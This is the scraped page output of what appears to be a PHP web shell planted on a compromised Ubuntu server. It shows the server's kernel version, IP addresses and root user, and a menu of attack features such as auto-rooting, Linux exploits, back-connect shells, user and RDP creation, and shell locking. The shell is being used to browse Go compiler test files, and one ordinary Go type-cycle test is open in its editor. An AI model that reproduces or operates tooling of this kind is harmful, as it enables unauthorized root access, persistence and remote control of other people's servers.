Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
go /
types /
testdata /
[ HOME SHELL ]
Name
Size
Permission
Action
blank.src
203
B
-rw-r--r--
builtins.src
23.77
KB
-rw-r--r--
const0.src
8.32
KB
-rw-r--r--
const1.src
8.04
KB
-rw-r--r--
constdecl.src
3.02
KB
-rw-r--r--
conversions.src
1.71
KB
-rw-r--r--
conversions2.src
5.07
KB
-rw-r--r--
cycles.src
2.79
KB
-rw-r--r--
cycles1.src
781
B
-rw-r--r--
cycles2.src
1.21
KB
-rw-r--r--
cycles3.src
675
B
-rw-r--r--
cycles4.src
1.76
KB
-rw-r--r--
cycles5.src
2.91
KB
-rw-r--r--
decls0.src
3.91
KB
-rw-r--r--
decls1.src
3.57
KB
-rw-r--r--
decls2a.src
3.11
KB
-rw-r--r--
decls2b.src
1.87
KB
-rw-r--r--
decls3.src
4.17
KB
-rw-r--r--
decls4.src
2.99
KB
-rw-r--r--
decls5.src
363
B
-rw-r--r--
errors.src
1.9
KB
-rw-r--r--
expr0.src
3.39
KB
-rw-r--r--
expr1.src
2.57
KB
-rw-r--r--
expr2.src
4.63
KB
-rw-r--r--
expr3.src
14.87
KB
-rw-r--r--
gotos.src
5.77
KB
-rw-r--r--
importC.src
1.21
KB
-rw-r--r--
importdecl0a.src
1.24
KB
-rw-r--r--
importdecl0b.src
1000
B
-rw-r--r--
importdecl1a.src
521
B
-rw-r--r--
importdecl1b.src
260
B
-rw-r--r--
init0.src
1.91
KB
-rw-r--r--
init1.src
1.46
KB
-rw-r--r--
init2.src
3.51
KB
-rw-r--r--
issue23203a.src
306
B
-rw-r--r--
issue23203b.src
306
B
-rw-r--r--
issue25008a.src
260
B
-rw-r--r--
issue25008b.src
198
B
-rw-r--r--
issue26390.src
241
B
-rw-r--r--
issue28251.src
1.23
KB
-rw-r--r--
issue6977.src
2.33
KB
-rw-r--r--
issues.src
9.83
KB
-rw-r--r--
labels.src
3.25
KB
-rw-r--r--
literals.src
2.35
KB
-rw-r--r--
methodsets.src
3.16
KB
-rw-r--r--
shifts.src
12.02
KB
-rw-r--r--
stmt0.src
17.79
KB
-rw-r--r--
stmt1.src
3.31
KB
-rw-r--r--
vardecl.src
5.27
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cycles5.src
// Copyright 2017 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package p import "unsafe" // test case from issue #18395 type ( A interface { B } B interface { C } C interface { D; F() A } D interface { G() B } ) var _ = A(nil).G // G must be found // test case from issue #21804 type sourceBridge interface { listVersions() ([]Version, error) } type Constraint interface { copyTo(*ConstraintMsg) } type ConstraintMsg struct{} func (m *ConstraintMsg) asUnpairedVersion() UnpairedVersion { return nil } type Version interface { Constraint } type UnpairedVersion interface { Version } var _ Constraint = UnpairedVersion(nil) // derived test case from issue #21804 type ( _ interface{ m(B1) } A1 interface{ a(D1) } B1 interface{ A1 } C1 interface{ B1 } D1 interface{ C1 } ) var _ A1 = C1(nil) // derived test case from issue #22701 func F(x I4) interface{} { return x.Method() } type Unused interface { RefersToI1(a I1) } type I1 interface { I2 I3 } type I2 interface { RefersToI4() I4 } type I3 interface { Method() interface{} } type I4 interface { I1 } // check embedding of error interface type Error interface{ error } var err Error var _ = err.Error() // more esoteric cases type ( T1 interface { T2 } T2 /* ERROR cycle */ T2 ) type ( T3 interface { T4 } T4 /* ERROR cycle */ T5 T5 = T6 T6 = T7 T7 = T4 ) // arbitrary code may appear inside an interface const n = unsafe.Sizeof(func(){}) type I interface { m([unsafe.Sizeof(func() { I.m(nil, [n]byte{}) })]byte) } // test cases for varias alias cycles type T10 /* ERROR cycle */ = *T10 // issue #25141 type T11 /* ERROR cycle */ = interface{ f(T11) } // issue #23139 // issue #18640 type ( aa = bb bb struct { *aa } ) type ( a struct{ *b } b = c c struct{ *b } ) // issue #24939 type ( _ interface { M(P) } M interface { F() P } P = interface { I() M } ) // issue #8699 type T12 /* ERROR cycle */ [len(a12)]int var a12 = makeArray() func makeArray() (res T12) { return } // issue #20770 var r /* ERROR cycle */ = newReader() func newReader() r // variations of the theme of #8699 and #20770 var arr /* ERROR cycle */ = f() func f() [len(arr)]int // issue #25790 func ff(ff /* ERROR not a type */ ) func gg((gg /* ERROR not a type */ )) type T13 /* ERROR cycle */ [len(b13)]int var b13 T13 func g1() [unsafe.Sizeof(g1)]int func g2() [unsafe.Sizeof(x2)]int var x2 = g2 // verify that we get the correct sizes for the functions above // (note: assert is statically evaluated in go/types test mode) func init() { assert(unsafe.Sizeof(g1) == 8) assert(unsafe.Sizeof(x2) == 8) } func h() [h /* ERROR no value */ ()[0]]int { panic(0) } var c14 /* ERROR cycle */ T14 type T14 [uintptr(unsafe.Sizeof(&c14))]byte // issue #34333 type T15 /* ERROR cycle */ struct { f func() T16 b T16 } type T16 struct { T15 }
Close